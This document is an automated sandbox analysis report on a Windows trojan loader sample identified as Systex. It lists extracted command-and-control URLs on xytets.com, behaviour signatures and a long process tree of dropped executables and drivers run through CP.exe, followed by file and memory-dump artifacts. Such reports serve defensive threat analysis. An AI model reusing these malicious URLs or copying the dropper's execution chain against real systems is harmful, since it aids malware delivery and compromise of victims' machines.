Analysis
- max time kernel
149s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
11/05/2026, 04:31
General
- Target 2026-05-11_20d87d02dccd11ba089bf28c918619d3_elex_redline-stealer_rhadamanthys_stop.exe
- Size 230KB
- Sample260511-e5fg1aex2n
- SHA256 265811041d468f71862131570a1366d634bd675e9810a096897310f067aa678c
Malware Config
Extracted
-
systex
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 43 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 52 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 20 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-11_20d87d02dccd11ba089bf28c918619d3_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-11_20d87d02dccd11ba089bf28c918619d3_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4188 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4136 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\mkecxupnhf.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\mkecxupnhf.exeC:\Temp\mkecxupnhf.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_mkecxupnhf.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_mkecxupnhf.exeC:\Temp\i_mkecxupnhf.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\mhfzxrpjhc.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\mhfzxrpjhc.exeC:\Temp\mhfzxrpjhc.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_mhfzxrpjhc.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_mhfzxrpjhc.exeC:\Temp\i_mhfzxrpjhc.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bwuomgeywr.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\bwuomgeywr.exeC:\Temp\bwuomgeywr.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bwuomgeywr.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_bwuomgeywr.exeC:\Temp\i_bwuomgeywr.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ztrljebwuo.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ztrljebwuo.exeC:\Temp\ztrljebwuo.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ztrljebwuo.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ztrljebwuo.exeC:\Temp\i_ztrljebwuo.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\olgdywqoig.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\olgdywqoig.exeC:\Temp\olgdywqoig.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_olgdywqoig.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_olgdywqoig.exeC:\Temp\i_olgdywqoig.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\igavtnlfdy.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\igavtnlfdy.exeC:\Temp\igavtnlfdy.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_igavtnlfdy.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_igavtnlfdy.exeC:\Temp\i_igavtnlfdy.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\axsqkicavs.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\axsqkicavs.exeC:\Temp\axsqkicavs.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_axsqkicavs.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_axsqkicavs.exeC:\Temp\i_axsqkicavs.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\xsqkicausn.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\xsqkicausn.exeC:\Temp\xsqkicausn.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_xsqkicausn.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_xsqkicausn.exeC:\Temp\i_xsqkicausn.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\rpkhcausmk.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\rpkhcausmk.exeC:\Temp\rpkhcausmk.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_rpkhcausmk.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_rpkhcausmk.exeC:\Temp\i_rpkhcausmk.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\mhfzxrpjhc.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\mhfzxrpjhc.exeC:\Temp\mhfzxrpjhc.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_mhfzxrpjhc.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_mhfzxrpjhc.exeC:\Temp\i_mhfzxrpjhc.exe ups_ins3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hcwuomhezw.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\hcwuomhezw.exeC:\Temp\hcwuomhezw.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hcwuomhezw.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_hcwuomhezw.exeC:\Temp\i_hcwuomhezw.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\gbztrljebw.exe ups_run2⤵
-
C:\Temp\gbztrljebw.exeC:\Temp\gbztrljebw.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_gbztrljebw.exe ups_ins2⤵
-
C:\Temp\i_gbztrljebw.exeC:\Temp\i_gbztrljebw.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bwtomgeywq.exe ups_run2⤵
-
C:\Temp\bwtomgeywq.exeC:\Temp\bwtomgeywq.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bwtomgeywq.exe ups_ins2⤵
-
C:\Temp\i_bwtomgeywq.exeC:\Temp\i_bwtomgeywq.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\sqlidbvtnl.exe ups_run2⤵
-
C:\Temp\sqlidbvtnl.exeC:\Temp\sqlidbvtnl.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_sqlidbvtnl.exe ups_ins2⤵
-
C:\Temp\i_sqlidbvtnl.exeC:\Temp\i_sqlidbvtnl.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kidavsnlfd.exe ups_run2⤵
-
C:\Temp\kidavsnlfd.exeC:\Temp\kidavsnlfd.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kidavsnlfd.exe ups_ins2⤵
-
C:\Temp\i_kidavsnlfd.exeC:\Temp\i_kidavsnlfd.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kicavsnkfd.exe ups_run2⤵
-
C:\Temp\kicavsnkfd.exeC:\Temp\kicavsnkfd.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kicavsnkfd.exe ups_ins2⤵
-
C:\Temp\i_kicavsnkfd.exeC:\Temp\i_kicavsnkfd.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\idxvpnhfax.exe ups_run2⤵
-
C:\Temp\idxvpnhfax.exeC:\Temp\idxvpnhfax.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_idxvpnhfax.exe ups_ins2⤵
-
C:\Temp\i_idxvpnhfax.exeC:\Temp\i_idxvpnhfax.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\zusmkecxup.exe ups_run2⤵
-
C:\Temp\zusmkecxup.exeC:\Temp\zusmkecxup.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_zusmkecxup.exe ups_ins2⤵
-
C:\Temp\i_zusmkecxup.exeC:\Temp\i_zusmkecxup.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\upjhbzurmk.exe ups_run2⤵
-
C:\Temp\upjhbzurmk.exeC:\Temp\upjhbzurmk.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_upjhbzurmk.exe ups_ins2⤵
-
C:\Temp\i_upjhbzurmk.exeC:\Temp\i_upjhbzurmk.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\wrpjhbztrm.exe ups_run2⤵
-
C:\Temp\wrpjhbztrm.exeC:\Temp\wrpjhbztrm.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_wrpjhbztrm.exe ups_ins2⤵
-
C:\Temp\i_wrpjhbztrm.exeC:\Temp\i_wrpjhbztrm.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Temp\wuomhezxrp.sysC:\Temp\wuomhezxrp.sys1⤵
- Executes dropped EXE
-
C:\Temp\uomgezwrpj.sysC:\Temp\uomgezwrpj.sys1⤵
- Executes dropped EXE
-
C:\Temp\jebwtomgey.sysC:\Temp\jebwtomgey.sys1⤵
- Executes dropped EXE
-
C:\Temp\ywqoigbytq.sysC:\Temp\ywqoigbytq.sys1⤵
- Executes dropped EXE
-
C:\Temp\tnlfdyvqoi.sysC:\Temp\tnlfdyvqoi.sys1⤵
- Executes dropped EXE
-
C:\Temp\sqlidbvtnl.sysC:\Temp\sqlidbvtnl.sys1⤵
- Executes dropped EXE
-
C:\Temp\icavsnlfdx.sysC:\Temp\icavsnlfdx.sys1⤵
- Executes dropped EXE
-
C:\Temp\causmkfcxv.sysC:\Temp\causmkfcxv.sys1⤵
- Executes dropped EXE
-
C:\Temp\xrpjhczurm.sysC:\Temp\xrpjhczurm.sys1⤵
- Executes dropped EXE
-
C:\Temp\rpjhbztrmj.sysC:\Temp\rpjhbztrmj.sys1⤵
-
C:\Temp\mgeywqojgb.sysC:\Temp\mgeywqojgb.sys1⤵
-
C:\Temp\gbytrljdbv.sysC:\Temp\gbytrljdbv.sys1⤵
-
C:\Temp\gaysqlidbv.sysC:\Temp\gaysqlidbv.sys1⤵
-
C:\Temp\ysqkidavtn.sysC:\Temp\ysqkidavtn.sys1⤵
-
C:\Temp\pnhfaxspki.sysC:\Temp\pnhfaxspki.sys1⤵
-
C:\Temp\kecxupnhfz.sysC:\Temp\kecxupnhfz.sys1⤵
-
C:\Temp\jhczurmkec.sysC:\Temp\jhczurmkec.sys1⤵
-
C:\Temp\hbztrmjecw.sysC:\Temp\hbztrmjecw.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
axsqkicavs.exe
bwuomgeywr.exe
i_axsqkicavs.exe
i_bwuomgeywr.exe
i_igavtnlfdy.exe
i_mhfzxrpjhc.exe
i_mkecxupnhf.exe
i_olgdywqoig.exe
i_ztrljebwuo.exe
icavsnlfdx.sys
igavtnlfdy.exe
jebwtomgey.sys
mhfzxrpjhc.exe
mkecxupnhf.exe
olgdywqoig.exe
sqlidbvtnl.sys
tnlfdyvqoi.sys
uomgezwrpj.sys
wuomhezxrp.sys
xsqkicausn.exe
ywqoigbytq.sys
ztrljebwuo.exe
8A7891822FCFF127E4EADADE9757112B
8A7891822FCFF127E4EADADE9757112B
RecoveryStore.{40990BFA-4CF2-11F1-9D89-560314B4B9EC}.dat
RecoveryStore.{409B6E2D-4CF2-11F1-9D89-560314B4B9EC}.dat
suggestions[1].en-US
memory/8-168-0x0000000000880000-0x000000000093F000-memory.dmp
memory/204-169-0x00000000008F0000-0x00000000009AF000-memory.dmp
memory/520-40-0x00000000009E0000-0x0000000000A9F000-memory.dmp
memory/848-47-0x0000000000880000-0x000000000093F000-memory.dmp
memory/1204-165-0x0000000000640000-0x00000000006FF000-memory.dmp
memory/1240-19-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1500-110-0x00000000007A0000-0x000000000085F000-memory.dmp
memory/1652-34-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1804-144-0x0000000000640000-0x00000000006FF000-memory.dmp
memory/1836-176-0x0000000000860000-0x000000000091F000-memory.dmp
memory/1852-201-0x00000000008C0000-0x000000000097F000-memory.dmp
memory/1964-11-0x0000000000880000-0x000000000093F000-memory.dmp
memory/2036-55-0x0000000000670000-0x000000000072F000-memory.dmp
memory/2260-198-0x0000000000900000-0x00000000009BF000-memory.dmp
memory/2268-136-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2340-205-0x00000000008F0000-0x00000000009AF000-memory.dmp
memory/2472-209-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2592-204-0x0000000000650000-0x000000000070F000-memory.dmp
memory/2596-182-0x00000000008D0000-0x000000000098F000-memory.dmp
memory/3036-145-0x0000000000850000-0x000000000090F000-memory.dmp
memory/3080-179-0x00000000008D0000-0x000000000098F000-memory.dmp
memory/3172-119-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3308-142-0x00000000008D0000-0x000000000098F000-memory.dmp
memory/3368-208-0x00000000008A0000-0x000000000095F000-memory.dmp
memory/3376-56-0x0000000000860000-0x000000000091F000-memory.dmp
memory/3396-10-0x0000000000870000-0x000000000092F000-memory.dmp
memory/3444-135-0x0000000000860000-0x000000000091F000-memory.dmp
memory/3468-216-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3608-161-0x0000000000920000-0x00000000009DF000-memory.dmp
memory/3768-173-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3776-41-0x0000000000910000-0x00000000009CF000-memory.dmp
memory/3952-49-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4064-219-0x0000000000890000-0x000000000094F000-memory.dmp
memory/4180-187-0x0000000000520000-0x00000000005DF000-memory.dmp
memory/4192-125-0x0000000000910000-0x00000000009CF000-memory.dmp
memory/4220-197-0x0000000000900000-0x00000000009BF000-memory.dmp
memory/4320-111-0x0000000000580000-0x000000000063F000-memory.dmp
memory/4364-190-0x0000000000850000-0x000000000090F000-memory.dmp
memory/4484-184-0x00000000002D0000-0x000000000030E000-memory.dmp
memory/4640-32-0x0000000000890000-0x000000000094F000-memory.dmp
memory/4728-183-0x0000000000900000-0x00000000009BF000-memory.dmp
memory/4780-64-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4784-162-0x00000000008C0000-0x000000000097F000-memory.dmp
memory/4796-172-0x0000000000860000-0x000000000091F000-memory.dmp
memory/4848-81-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4972-26-0x0000000000580000-0x000000000063F000-memory.dmp
memory/5084-188-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5124-138-0x0000000000890000-0x000000000094F000-memory.dmp
memory/5140-88-0x0000000000650000-0x000000000070F000-memory.dmp
memory/5184-79-0x0000000000900000-0x00000000009BF000-memory.dmp
memory/5240-166-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5244-195-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5248-215-0x0000000000860000-0x000000000091F000-memory.dmp
memory/5260-132-0x0000000000650000-0x000000000070F000-memory.dmp
memory/5308-117-0x0000000000840000-0x00000000008FF000-memory.dmp
memory/5368-131-0x0000000000910000-0x00000000009CF000-memory.dmp
memory/5384-97-0x00000000008D0000-0x000000000098F000-memory.dmp
memory/5480-87-0x0000000000880000-0x000000000093F000-memory.dmp
memory/5500-124-0x0000000000730000-0x00000000007EF000-memory.dmp
memory/5524-128-0x0000000000840000-0x00000000008FF000-memory.dmp
memory/5584-212-0x0000000000880000-0x000000000093F000-memory.dmp
memory/5588-202-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5596-211-0x0000000000920000-0x00000000009DF000-memory.dmp
memory/5624-62-0x0000000000950000-0x0000000000A0F000-memory.dmp
memory/5656-194-0x00000000008D0000-0x000000000098F000-memory.dmp
memory/5664-139-0x0000000000910000-0x00000000009CF000-memory.dmp
memory/5708-72-0x00000000008B0000-0x000000000096F000-memory.dmp
memory/5712-180-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5876-175-0x00000000008F0000-0x00000000009AF000-memory.dmp
memory/5932-17-0x0000000000880000-0x000000000093F000-memory.dmp
memory/5944-191-0x0000000000900000-0x00000000009BF000-memory.dmp
memory/5948-73-0x0000000000650000-0x000000000070F000-memory.dmp
memory/5960-158-0x00000000008D0000-0x000000000098F000-memory.dmp
memory/5980-129-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5988-218-0x0000000000900000-0x00000000009BF000-memory.dmp
memory/5996-104-0x0000000000010000-0x0000000000083000-memory.dmp
memory/6080-25-0x0000000000800000-0x00000000008BF000-memory.dmp
memory/6132-159-0x0000000000010000-0x0000000000083000-memory.dmp